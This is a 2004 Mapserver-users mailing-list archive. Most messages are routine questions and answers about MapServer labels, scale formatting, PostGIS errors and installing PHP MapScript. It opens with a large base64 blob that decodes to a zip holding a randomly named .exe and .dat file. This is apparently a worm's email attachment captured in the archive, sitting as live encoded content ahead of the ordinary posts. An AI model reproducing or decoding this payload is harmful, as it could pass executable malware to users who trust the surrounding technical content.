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 dC5kYXRQSwUGAAAAAAIAAgBxAAAApFUAAAAA ----------kpchmwcfvrncrhzkuegh-- From malonso at meso.com Wed May 5 18:03:25 2004 From: malonso at meso.com (malonso at meso.com) Date: Wed, 5 May 2004 21:03:25 -0400 (EDT) Subject: [Mapserver-users] join Message-ID: <1075.66.65.218.158.1083805405.squirrel@www.meso.com> I was trying to read up on the join syntax and I got a little lost. I am working with TIGER data how do I combine the street name (FENAME) and type (FETYPE). I can only do one or the other right now. Thanks very much for your help. Matt From 0098kast at edu.fh-kaernten.ac.at Wed May 5 18:35:21 2004 From: 0098kast at edu.fh-kaernten.ac.at (Kaps Stefan) Date: Thu, 6 May 2004 03:35:21 +0200 Subject: [Mapserver-users] scale Message-ID: <35B1C0D9EBB6B444833B65616844E8EB34AF2E@exchange03.technikum.local> Dear MapServer colleagues! Just a short question: how can I change the format of my scale? now the format is 1:ssssss.ssss but I don't want the decimal number... (just 1:ssssss) cheers, Stefan From woodbri at swoodbridge.com Wed May 5 18:39:59 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 05 May 2004 21:39:59 -0400 Subject: [Mapserver-users] join In-Reply-To: <1075.66.65.218.158.1083805405.squirrel@www.meso.com> References: <1075.66.65.218.158.1083805405.squirrel@www.meso.com> Message-ID: <4099976F.5090803@swoodbridge.com> In your mapfile STYLE ... TEXT ([FENAME] [FETYPE]) ... END Use of the TEXT item overrides the values obtained from LABELITEM -Steve W. malonso at meso.com wrote: > I was trying to read up on the join syntax and I got a little lost. I am > working with TIGER data how do I combine the street name (FENAME) and type > (FETYPE). I can only do one or the other right now. Thanks very much for > your help. > > Matt > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From woodbri at swoodbridge.com Wed May 5 19:04:57 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 05 May 2004 22:04:57 -0400 Subject: [Mapserver-users] scale In-Reply-To: <35B1C0D9EBB6B444833B65616844E8EB34AF2E@exchange03.technikum.local> References: <35B1C0D9EBB6B444833B65616844E8EB34AF2E@exchange03.technikum.local> Message-ID: <40999D49.5050407@swoodbridge.com> You can write a small javascript to reformat it. I think this has been discussed in the past and is probably in the archives. or something like that. -Steve W. Kaps Stefan wrote: > Dear MapServer colleagues! > Just a short question: how can I change the format of my scale? now the format is 1:ssssss.ssss but I don't want the decimal number... (just 1:ssssss) > > cheers, > Stefan > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From leo.olivieri at tin.it Thu May 6 00:07:47 2004 From: leo.olivieri at tin.it (leo.olivieri at tin.it) Date: Thu, 6 May 2004 09:07:47 +0200 Subject: [Mapserver-users] label Message-ID: <4087DF4300016D37@ims3c.cp.tin.it> Hello list I have a problem with labeling line features i have the shapefile as ENTITY CODICE ELEVATION THICKNESS COLOR TEXT Text TOPO019 0,00000 0,00000 2 220 Text TOPO024 0,00000 0,00000 1 Via Palazzina Text TOPO024 0,00000 0,00000 1 Via Levrini Text TOPO024 0,00000 0,00000 1 Via Levrini where text is linked with line(roads). Is it possible to draw the test as http://www.zopecms.de/bohrdatenportal/labeltest_shp2img.png with PhpMapscript?What? Thanks in advanced. Leonardo From mweinelt at planiglobe.com Thu May 6 00:21:23 2004 From: mweinelt at planiglobe.com (Martin Weinelt) Date: Thu, 6 May 2004 09:21:23 +0200 Subject: [Mapserver-users] scale In-Reply-To: <40999D49.5050407@swoodbridge.com> References: <35B1C0D9EBB6B444833B65616844E8EB34AF2E@exchange03.technikum.local> <40999D49.5050407@swoodbridge.com> Message-ID: <200405060921.24077.mweinelt@planiglobe.com> On Thursday 06 May 2004 04:04, Stephen Woodbridge wrote: > You can write a small javascript to reformat it. I think this has been > discussed in the past and is probably in the archives. > > > > or something like that. > > -Steve W. [...] scale = parseInt([scale]); [...] It's called 'parseInt' in JS ..., another obstacle to correctly shoot yourself in the foot ... Martin > Kaps Stefan wrote: > > Dear MapServer colleagues! > > Just a short question: how can I change the format of my scale? now the > > format is 1:ssssss.ssss but I don't want the decimal number... (just > > 1:ssssss) > > > > cheers, > > Stefan > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- --- Martin Weinelt --- kk+w - digital cartography --- Kiel, Germany --- Tel: +49.431.5791165 --- http://www.planiglobe.com From mschulz at webgis.de Thu May 6 00:50:31 2004 From: mschulz at webgis.de (Michael Schulz) Date: Thu, 06 May 2004 09:50:31 +0200 Subject: [Mapserver-users] label In-Reply-To: <4087DF4300016D37@ims3c.cp.tin.it> References: <4087DF4300016D37@ims3c.cp.tin.it> Message-ID: <4099EE47.8030007@webgis.de> Hi Leonardo, that should be no problem, just define the label for the street layer in your mapfile sth. like this: LABEL TYPE truetype # label rotation only works with truetype fonts FONT arial BUFFER 1 COLOR 50 50 50 FORCE FALSE OFFSET 0 0 ANGLE auto # this automatically rotates the label along the lines shape features OUTLINECOLOR 255 255 255 PARTIALS TRUE END It doesn't (shouldn't ;-)) matter what you use to draw the map, either php/perl/python-mapscript or cgi version. Only if you draw single layers with mapscript layerObj.draw() then you have to draw the labelcache at some point otherwise no labels will appear at all. HTH, Michael leo.olivieri at tin.it schrieb: > Hello list > I have a problem with labeling line features > > i have the shapefile as > > > ENTITY CODICE ELEVATION THICKNESS COLOR TEXT > Text TOPO019 0,00000 0,00000 2 220 > Text TOPO024 0,00000 0,00000 1 Via Palazzina > Text TOPO024 0,00000 0,00000 1 Via Levrini > Text TOPO024 0,00000 0,00000 1 Via Levrini > > > where text is linked with line(roads). > > Is it possible to draw the test as > http://www.zopecms.de/bohrdatenportal/labeltest_shp2img.png > with PhpMapscript?What? > > Thanks in advanced. > Leonardo > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH In den Weihermatten 66 79108 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de/www.zopecms.de From V.Honzik at sh.cvut.cz Thu May 6 01:02:05 2004 From: V.Honzik at sh.cvut.cz (Vojtech Honzik) Date: Thu, 6 May 2004 10:02:05 +0200 (CEST) Subject: [Mapserver-users] Error with PostGIS layer Message-ID: I upgraded PostgreSQL to 7.4.2 using PostGIS 8.0.1 and Mapserver 4.0.2, Recompiled and installed PostGIS and Mapserver, restored the databases from dump and tested the data using JUMP. Unfortunately, the PHP/MapScript application gives following error: --------- Warning: [MapServer Error]: msDrawMap(): Failed to draw layer named 'okresy'. in /var/www/systemy/systemy.php on line 488 Warning: [MapServer Error]: msPOSTGISLayerWhichShapes(): Error executing POSTGIS SQL statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT nazev::text,asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from okresy WHERE the_geom && setSRID('BOX3D(3264599.99999771 5339999.99995129,3805400.00000459 5700000)'::BOX3D, find_srid('','okresy','the_geom') ) -ERROR: no binary output function available for type wkb Error with POSTGIS data variable. You specified ''. Standard ways of specifiying are : (1) 'geometry_column from geometry_table' (2) 'geometry_column from () as foo using unique using SRID=' Make sure you put in the 'using unique ' and 'using SRID=#' clauses in. For more help, please see http://postgis.refractions.net/documentation.php Mappostgis.c - version of Jan 23/2004. in /var/www/systemy/systemy.php on line 488 Fatal error: Call to a member function on a non-object in /var/www/systemy/systemy.php on line 489 --------- MapServer Version MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=SHAPEFILE PHP MapScript Version ($Revision: 1.177.2.1 $ $Date: 2003/12/12 13:31:41 $) --------- I am in doubt because the only problem I see is in Mapserver to PostGIS connector, because the another software (JUMP) operates eith the same data correctly. Can you aim me what shall I test to fix this problem? In the worst case I'd have to downgrate the database, but I don't think this would be a adequate solution. Best regards, Vojtech Honzik From ugan at dataworld.co.za Thu May 6 01:12:51 2004 From: ugan at dataworld.co.za (Ugan) Date: Thu, 6 May 2004 10:12:51 +0200 Subject: [Mapserver-users] (no subject) Message-ID: <00F1D25697A9094BA850427870FC5F051E80CF@kwazulu.dataworld.co.za> This is a multi-part message in MIME format. ------_=_NextPart_001_01C43341.ECE1E160 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hey, =20 I'm setting up MapServer 4.0.2 (I got it from the MapServer website) on Windows XP and PHP 4 (I used the install-php4.exe [wise install shield]) to be used with MapLab 2.1-rc3 but I'm missing the php4_mapscript.dl.=20 =20 Is this all I need to run PHP MapScript? Could you PLEASE mail me the missing bits or tell me a reliable source to get it from so I can get MapScript, MapServer and MapLab working. [ASAP!] I have already got PHP working.=20 =20 Thanks, much appreciated. =20 ------_=_NextPart_001_01C43341.ECE1E160 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hey,

 

I’m setting up MapServer 4.0.2 (I got it from = the MapServer website) on Windows XP and PHP 4 (I used the install-php4.exe = [wise install shield]) to be used with MapLab 2.1-rc3 but I’m missing = the php4_mapscript.dl.

 

Is this all I need to run PHP MapScript? Could you = PLEASE mail me the missing bits or tell me a reliable source to get it from so = I can get MapScript, MapServer and MapLab working. [ASAP!] I have already got = PHP working.

 

Thanks, much = appreciated.

 

------_=_NextPart_001_01C43341.ECE1E160-- From swapan at dataworld.co.za Thu May 6 01:51:44 2004 From: swapan at dataworld.co.za (Swapan Mazumdar) Date: Thu, 6 May 2004 10:51:44 +0200 Subject: [Mapserver-users] How to run workshop.zip demo & download PHP_MAPSCRIPT DLL Message-ID: <00F1D25697A9094BA850427870FC5F0508392C@kwazulu.dataworld.co.za> This is a multi-part message in MIME format. ------_=_NextPart_001_01C43347.5BBC5260 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi All, =20 While looking for PHP_MAPSCRIPT DLL from the page http://www.maptools.org/php_mapscript/index.phtml?page=3Dfaq.html I am redirect to a dead link http://www2.dmsolutions.ca/mapserver/dl/ which finally http://www.maptools.org/dl/. =20 1) I have not clue where can I get PHP_MAPSCRIPT DLL to download.=20 I have php 4.3 running on windows and the latest Mapserver (windows binaries) up and running(I guess) with apache.=20 I am also running into problems while trying to run the demo (workshop.zip) because of the correct windows parameters like: =20 2) Can anyone give me little hints on what parameters I must pass in order get the deomo working. It is coming up with the following error msLoadMap(): Unable to access file. (/workshop/itasca.map) . Can anybody explain what significance does map_web_imagepath and map_web_imageurl has and what values to set. =20 I would appreciated any help in this regard. Regards, Swapan Mazumdar ------_=_NextPart_001_01C43347.5BBC5260 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi All,

 

